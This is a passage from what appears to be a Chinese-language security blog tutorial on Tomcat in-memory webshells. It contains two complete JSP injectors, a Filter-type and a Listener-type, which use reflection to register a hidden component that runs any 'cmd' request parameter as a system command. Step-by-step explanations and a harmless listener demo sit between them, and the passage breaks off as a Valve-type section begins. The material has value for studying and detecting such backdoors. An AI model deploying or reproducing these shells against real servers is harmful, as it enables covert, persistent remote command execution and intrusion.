import=\"org.apache.catalina.core.StandardContext\" %&gt;\n&lt;%@ page import=\"java.util.Map\" %&gt;\n&lt;%@ page import=\"java.io.IOException\" %&gt;\n&lt;%@ page import=\"org.apache.tomcat.util.descriptor.web.FilterDef\" %&gt;\n&lt;%@ page import=\"org.apache.tomcat.util.descriptor.web.FilterMap\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Constructor\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.ApplicationFilterConfig\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.Context\" %&gt;\n&lt;%@ page language=\"java\" contentType=\"text\/html; charset=UTF-8\" pageEncoding=\"UTF-8\"%&gt;\n\n&lt;%\n    class FilterDemo implements Filter {\n        @Override\n        public void init(FilterConfig filterConfig) throws ServletException {}\n        @Override\n        public void destroy() {}\n        @Override\n        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)\n                throws IOException, ServletException {\n            String cmd = request.getParameter(\"cmd\");\n            if (cmd != null) {\n                Process process = Runtime.getRuntime().exec(cmd);\n                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n                        new java.io.InputStreamReader(process.getInputStream()));\n                StringBuilder stringBuilder = new StringBuilder();\n                String line;\n                while ((line = bufferedReader.readLine()) != null) {\n                    stringBuilder.append(line + '\\n');\n                }\n                response.getOutputStream().write(stringBuilder.toString().getBytes());\n                response.getOutputStream().flush();\n                response.getOutputStream().close();\n                return;\n            }\n        }\n    }\n%&gt;\n\n&lt;%\n        \/\/ \u83b7\u53d6StandardContext\n        ServletContext servletContext =  request.getSession().getServletContext();\n        Field appctx = servletContext.getClass().getDeclaredField(\"context\");\n        appctx.setAccessible(true);\n        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);\n        Field stdctx = applicationContext.getClass().getDeclaredField(\"context\");\n        stdctx.setAccessible(true);\n        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);\n\n        \/\/ \u83b7\u53d6filterConfigs\n        Field Configs = standardContext.getClass().getDeclaredField(\"filterConfigs\");\n        Configs.setAccessible(true);\n        Map filterConfigs = (Map) Configs.get(standardContext);\n\n        Filter filter = new FilterDemo();\n\n        String name = \"fushuling\";\n        \/\/ FilterDef\n        FilterDef filterDef = new FilterDef();\n        filterDef.setFilter(filter);\n        filterDef.setFilterName(name);\n        filterDef.setFilterClass(filter.getClass().getName());\n        standardContext.addFilterDef(filterDef);\n\n        \/\/ FilterMap\n        FilterMap filterMap = new FilterMap();\n        filterMap.addURLPattern(\"\/*\");\n        filterMap.setFilterName(name);\n        filterMap.setDispatcher(DispatcherType.REQUEST.name());\n        standardContext.addFilterMapBefore(filterMap);\n\n        \/\/ApplicationFilterConfig\n        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);\n        constructor.setAccessible(true);\n        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);\n        filterConfigs.put(name, filterConfig);\n\n        out.print(\"Inject Success !\");\n%&gt;<\/code><\/pre>\n\n\n\n<p>\u5148\u8bbf\u95eeSevletShell.jsp\u6ce8\u5165\u5185\u5b58\u9a6c\uff0c\u63a5\u7740\u8bbf\u95ee\u4efb\u4f55\u4e00\u4e2a\u9875\u9762\uff0c\u6211\u4eec\u90fd\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528cmd\u8fdb\u884c\u4ee3\u7801\u6ce8\u5165\uff0c\u7075\u6d3b\u6027\u76f8\u6bd4servlet\u7684\u9a6c\u5927\u7684\u591a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-234126-8-25.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-234126-8-25.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u89e3\u91ca\u4e00\u4e0b\u6211\u4eec\u7684\u9a6c\uff0c\u9996\u5148 FilterDemo \u5c31\u4e0d\u7528\u4ecb\u7ecd\u4e86\uff0c\u5c31\u662f\u4e00\u4e2a\u6076\u610f\u7c7b\uff0c\u7136\u540e\u8fd9\u91cc\u6211\u4eec\u662f\u548c\u4e4b\u524d\u4e00\u6837\u83b7\u53d6StandardContext\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ServletContext servletContext = request.getSession().getServletContext();\nField appctx = servletContext.getClass().getDeclaredField(\"context\");\nApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);\nField stdctx = applicationContext.getClass().getDeclaredField(\"context\");\nStandardContext standardContext = (StandardContext) stdctx.get(applicationContext);<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u6784\u9020\u5e76\u6ce8\u518c\u4e86\u4e00\u4e2a <code>FilterDef<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>FilterDef filterDef = new FilterDef();\nfilterDef.setFilter(filter);\nfilterDef.setFilterName(name);\nfilterDef.setFilterClass(filter.getClass().getName());\nstandardContext.addFilterDef(filterDef);<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u6784\u9020\u5e76\u6ce8\u518c <code>FilterMap<\/code>\uff08\u62e6\u622a\u8def\u5f84\uff09\uff0c\u8fd9\u4e2a <code>FilterMap<\/code> \u6307\u5b9a\u4e86\u8def\u5f84\u5339\u914d\u89c4\u5219\uff0c\u8fd9\u91cc\u662f\u62e6\u622a\u6240\u6709\u8bf7\u6c42\uff0c<code>addFilterMapBefore()<\/code> \u662f\u5173\u952e\u64cd\u4f5c\uff0c\u8868\u793a\u5c06\u8fd9\u4e2a Filter \u63d2\u5165\u5230 Filter \u94fe\u7684\u6700\u524d\u9762\uff0c\u9632\u6b62\u88ab\u5176\u4ed6\u8fc7\u6ee4\u5668\u62e6\u622a\u6216\u8df3\u8fc7\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>FilterMap filterMap = new FilterMap();\nfilterMap.addURLPattern(\"\/*\");  \/\/ \u6240\u6709\u8def\u5f84\nfilterMap.setFilterName(name);\nfilterMap.setDispatcher(\"REQUEST\");\nstandardContext.addFilterMapBefore(filterMap);<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u7684\u6700\u540e\uff0c\u901a\u8fc7\u53cd\u5c04\u6ce8\u518c <code>ApplicationFilterConfig<\/code> \u8ba9 Tomcat \u771f\u6b63\u4f7f\u7528\u8be5 Filter\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);\nconstructor.setAccessible(true);\nApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);\nfilterConfigs.put(name, filterConfig);<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Listener\u578b\u5185\u5b58\u9a6c<\/h2>\n\n\n\n<p>\u5728 Java \u4e2d\uff0c<strong>Listener\uff08\u76d1\u542c\u5668\uff09<\/strong> \u662f\u4e00\u79cd\u7528\u4e8e\u4e8b\u4ef6\u9a71\u52a8\u7f16\u7a0b\u7684\u8bbe\u8ba1\u6a21\u5f0f\uff0c\u5e38\u7528\u4e8e GUI\u3001Web \u6216\u5176\u4ed6\u9700\u8981\u54cd\u5e94\u67d0\u4e9b\u4e8b\u4ef6\uff08\u5982\u70b9\u51fb\u3001\u8f93\u5165\u3001\u6539\u53d8\u7b49\uff09\u7684\u573a\u666f\u3002\u5b83\u7684\u6838\u5fc3\u601d\u60f3\u662f\uff1a<strong>\u4e00\u4e2a\u5bf9\u8c61\u76d1\u542c\u53e6\u4e00\u4e2a\u5bf9\u8c61\u7684\u4e8b\u4ef6\uff0c\u4e00\u65e6\u4e8b\u4ef6\u53d1\u751f\uff0c\u76d1\u542c\u5668\u5c31\u4f1a\u88ab\u56de\u8c03\u6267\u884c\u3002<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u672f\u8bed<\/th><th>\u8bf4\u660e<\/th><\/tr><\/thead><tbody><tr><td>\u4e8b\u4ef6\u6e90\uff08Event Source\uff09<\/td><td>\u4ea7\u751f\u4e8b\u4ef6\u7684\u5bf9\u8c61<\/td><\/tr><tr><td>\u4e8b\u4ef6\u5bf9\u8c61\uff08Event Object\uff09<\/td><td>\u5c01\u88c5\u4e8b\u4ef6\u76f8\u5173\u4fe1\u606f\uff08\u5982\u65f6\u95f4\u3001\u6765\u6e90\u7b49\uff09<\/td><\/tr><tr><td>\u76d1\u542c\u5668\uff08Listener\uff09<\/td><td>\u4e00\u4e2a\u63a5\u53e3\uff0c\u5b9a\u4e49\u4e86\u5904\u7406\u4e8b\u4ef6\u7684\u65b9\u6cd5<\/td><\/tr><tr><td>\u6ce8\u518c\u76d1\u542c\u5668<\/td><td>\u4e8b\u4ef6\u6e90\u9700\u8981\u63d0\u4f9b\u65b9\u6cd5\uff0c\u5141\u8bb8\u76d1\u542c\u5668\u6ce8\u518c<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u6765\u5199\u4e2a\u5c0fdemo\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.itheima.controller;\n\ninterface MyListener {\n    void onClick(); \/\/ \u76d1\u542c\u5668\u63a5\u53e3\uff0c\u5b9a\u4e49\u4e00\u4e2a\u56de\u8c03\u65b9\u6cd5\n}\n\nclass Button {\n    private MyListener listener; \/\/ \u7528\u4e8e\u5b58\u50a8\u76d1\u542c\u5668\n\n    \/\/ \u8bbe\u7f6e\u76d1\u542c\u5668\n    public void setListener(MyListener listener) {\n        this.listener = listener;\n    }\n\n    \/\/ \u6a21\u62df\u70b9\u51fb\u4e8b\u4ef6\n    public void click() {\n        System.out.println(\"\u6309\u94ae\u88ab\u70b9\u51fb\u4e86\uff01\");\n        if (listener != null) {\n            listener.onClick(); \/\/ \u8c03\u7528\u76d1\u542c\u5668\u7684\u56de\u8c03\u65b9\u6cd5\n        }\n    }\n}\n\npublic class ListenerTest {\n    public static void main(String&#91;] args) {\n        Button button = new Button();\n\n        \/\/ \u6ce8\u518c\u76d1\u542c\u5668\uff08\u4f7f\u7528 lambda \u8868\u8fbe\u5f0f\uff09\n        button.setListener(() -&gt; {\n            System.out.println(\"\u76d1\u542c\u5668\uff1a\u6211\u77e5\u9053\u6309\u94ae\u88ab\u70b9\u4e86\uff01\");\n        });\n\n        \/\/ \u6a21\u62df\u70b9\u51fb\u6309\u94ae\n        button.click();\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-220218-13-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-220218-13-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u7684\u76d1\u542c\u5668\u5c31\u662f\u4e00\u4e2a\u63a5\u53e3\uff0c\u53ef\u4ee5\u901a\u8fc7 <code>setListener()<\/code> \u6ce8\u518c\uff0c\u800c\u5728\u8c03\u7528 <code>click()<\/code> \u65f6\u89e6\u53d1\u76d1\u542c\u5668\u7684 <code>onClick()<\/code> \u65b9\u6cd5\u3002<\/p>\n\n\n\n<p>\u5199\u5185\u5b58\u9a6c\u4e3b\u8981\u6d89\u53ca\u7684\u662f<strong>ServletRequestListener<\/strong>(\u7531\u4e8e\u5176\u5728\u6bcf\u6b21\u8bf7\u6c42\u4e2d\u90fd\u4f1a\u89e6\u53d1)\uff0c\u800c\u5b83\u4f1a\u89e6\u53d1<code>StandardContext#listenerStart<\/code>\uff0c\u9996\u5148\u7528<code>findApplicationListeners<\/code>\u83b7\u53d6\u5230listener\u4e4b\u540e\u8fdb\u884c\u5b9e\u4f8b\u5316\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-221047-13-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-221047-13-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u4f1a\u6839\u636elistener\u7684\u4e0d\u540c\u653e\u5165\u4e0d\u540c\u7684\u6570\u7ec4\uff0c\u6211\u4eec\u7684\u76ee\u6807\u88ab\u653e\u5165\u4e86eventListeners<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-221355-13-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-221355-13-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u4f1a\u7528<code>getApplicationEventListeners<\/code>\u83b7\u53d6\u5df2\u6ce8\u518c\u7684\u5e94\u7528\u7ea7\u4e8b\u4ef6\u76d1\u542c\u5668\u6570\u7ec4\uff0c\u7136\u540e\u91cd\u65b0\u8bbe\u7f6e\u4e00\u6b21<code>applicationEventListenersList<\/code>\uff0c\u4e5f\u5c31\u662f\u5728<code>applicationEventListenersList<\/code>\u7684\u57fa\u7840\u4e0a\u52a0\u4e0a\u5b9e\u4f8b\u5316\u7684<code>eventListeners<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-221633-13-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-221633-13-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u800c<code>getApplicationEventListeners<\/code>\uff0c\u987e\u540d\u601d\u4e49\uff0c\u5c31\u662f\u8fd4\u56de<code>applicationEventListenersList<\/code>\u7684\u503c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-221945-13-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-221945-13-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u7684\u89e6\u53d1\u70b9\u5728<code>fireRequestInitEvent<\/code>\uff0c\u5229\u7528<code>getApplicationEventListeners<\/code>\u83b7\u53d6\u6240\u6709<code>applicationEventListenersList<\/code>\u8fdb\u884c\u521d\u59cb\u5316\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-222122-13-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-222122-13-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:729px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5206\u6790\u4e0a\u8ff0\u6d41\u7a0b\u6211\u4eec\u77e5\u9053\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5411<code>applicationEventListenersList<\/code>\u4e2d\u52a0\u5165\u6211\u4eec\u7684\u6076\u610fListener\u5373\u53ef\uff0c\u597d\u6d88\u606f\u662f<code>StandardContext<\/code>\u91cc\u6709\u73b0\u6210\u7684<code>addApplicationEventListener<\/code>\u65b9\u6cd5\u7528\u6765\u6dfb\u52a0Listener\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-222340-13-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-222340-13-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u5199\u5185\u5b58\u9a6c\u7684\u601d\u8def\u5c31\u5f88\u7b80\u5355\u4e86\uff1a\u5199Listener\u3001\u83b7\u53d6<code>StandardContext<\/code>\uff0c\u6700\u540e\u7528<code>addApplicationEventListener<\/code>\u6dfb\u52a0Listerner\uff0c\u5177\u4f53\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;%@ page contentType=\"text\/html;charset=UTF-8\" language=\"java\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.ApplicationContext\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.StandardContext\" %&gt;\n&lt;%@ page import=\"javax.servlet.*\" %&gt;\n&lt;%@ page import=\"java.io.IOException\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\n\n&lt;%\n    class ListenerDemo implements ServletRequestListener{\n        @Override\n        public void requestDestroyed(ServletRequestEvent servletServletRequestListenerRequestEvent) {\n\n        }\n        @Override\n        public void requestInitialized(ServletRequestEvent servletRequestEvent) {\n            String cmd = servletRequestEvent.getServletRequest().getParameter(\"cmd\");\n            if(cmd != null){\n                try {\n                    Runtime.getRuntime().exec(cmd);\n                } catch (IOException e) {}\n            }\n        }\n    }\n%&gt;\n\n&lt;%\n    \/\/ \u83b7\u53d6StandardContext\n    ServletContext servletContext =  request.getServletContext();\n    Field appctx = servletContext.getClass().getDeclaredField(\"context\");\n    appctx.setAccessible(true);\n    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);\n    Field stdctx = applicationContext.getClass().getDeclaredField(\"context\");\n    stdctx.setAccessible(true);\n    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);\n\n    \/\/\u5b9e\u4f8b\u5316\u4e00\u4e2a\u6076\u610fListener\n    ListenerDemo servletRequestListener = new ListenerDemo();\n\n    \/\/\u6dfb\u52a0Listener\n    standardContext.addApplicationEventListener(servletRequestListener);\n    out.println(\"inject success\");\n%&gt;<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u53ea\u9700\u8981\u8bbf\u95ee\u4e00\u4e0b\u8fd9\u4e2aListenerShell.jsp\u6ce8\u518c\u4e00\u4e0b\u6211\u4eec\u7684\u6076\u610fListener\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u4efb\u610f\u4f4d\u7f6e\u6267\u884c\u6076\u610f\u547d\u4ee4\uff0c\u975e\u5e38\u7075\u6d3b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-223012-13-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250513-223012-13-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Valve\u578b\u5185\u5b58\u9a6c<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Tomcat \u5728\u5904\u7406\u4e00\u4e2a\u8bf7\u6c42\u8c03\u7528\u903b\u8f91\u65f6\uff0c\u662f\u5982\u4f55\u5904\u7406\u548c\u4f20\u9012 Request \u548c Respone \u5bf9\u8c61\u7684\u5462\uff1f\u4e3a\u4e86\u6574\u4f53\u67b6\u6784\u7684\u6bcf\u4e2a\u7ec4\u4ef6\u7684\u53ef\u4f38\u7f29\u6027\u548c\u53ef\u6269\u5c55\u6027\uff0cTomcat \u4f7f\u7528\u4e86\u804c\u8d23\u94fe\u6a21\u5f0f\u6765\u5b9e\u73b0\u5ba2\u6237\u7aef\u8bf7\u6c42\u7684\u5904\u7406\u3002\u5728 Tomcat \u4e2d\u5b9a\u4e49\u4e86\u4e24\u4e2a\u63a5\u53e3\uff1aPipeline\uff08\u7ba1\u9053\uff09\u548c Valve\uff08\u9600\uff09\u3002\u8fd9\u4e24\u4e2a\u63a5\u53e3\u540d\u5b57\u5f88\u597d\u7684\u8be0\u91ca\u4e86\u5904\u7406\u6a21\u5f0f\uff1a\u6570\u636e\u6d41\u5c31\u50cf\u662f\u6d41\u7ecf\u7ba1\u9053\u7684\u6c34\u4e00\u6837\uff0c\u7ecf\u8fc7\u7ba1\u9053\u4e0a\u4e2a\u4e00\u4e2a\u4e2a\u9600\u95e8\u3002<\/p>\n\n\n\n<p>Pipeline \u4e2d\u4f1a\u6709\u4e00\u4e2a\u6700\u57fa\u7840\u7684 Valve\uff08basic\uff09\uff0c\u5b83\u59cb\u7ec8\u4f4d\u4e8e\u672b\u7aef\uff08\u6700\u540e\u6267\u884c\uff09\uff0c\u5c01\u88c5\u4e86\u5177\u4f53\u7684\u8bf7\u6c42\u5904\u7406\u548c\u8f93\u51fa\u54cd\u5e94\u7684\u8fc7\u7a0b\u3002Pipeline \u63d0\u4f9b\u4e86 addValve \u65b9\u6cd5\uff0c\u53ef\u4ee5\u6dfb\u52a0\u65b0 Valve \u5728 basic \u4e4b\u524d\uff0c\u5e76\u6309\u7167\u6dfb\u52a0\u987a\u5e8f\u6267\u884c\u3002<\/p>\n<\/blockquote>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2F20220218104446-13-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2F20220218104446-13-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow 